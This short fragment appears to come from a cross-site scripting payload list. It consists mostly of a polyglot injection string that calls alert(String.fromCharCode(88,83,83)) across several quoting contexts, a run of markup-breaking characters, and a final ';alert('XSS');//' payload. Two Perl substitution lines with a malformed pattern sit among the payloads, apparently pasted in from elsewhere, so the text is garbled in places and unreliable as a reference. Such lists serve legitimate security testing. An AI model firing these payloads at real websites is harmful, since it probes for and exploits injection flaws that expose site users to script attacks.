';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//"; alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//-- >">'> '';!--"=&{()} "> $tmp_string =~ s/.*\***(\d+);.*/$1/; $tmp_string =~ s/.*\***(\d+);.*/$1/; < ";alert('XSS');//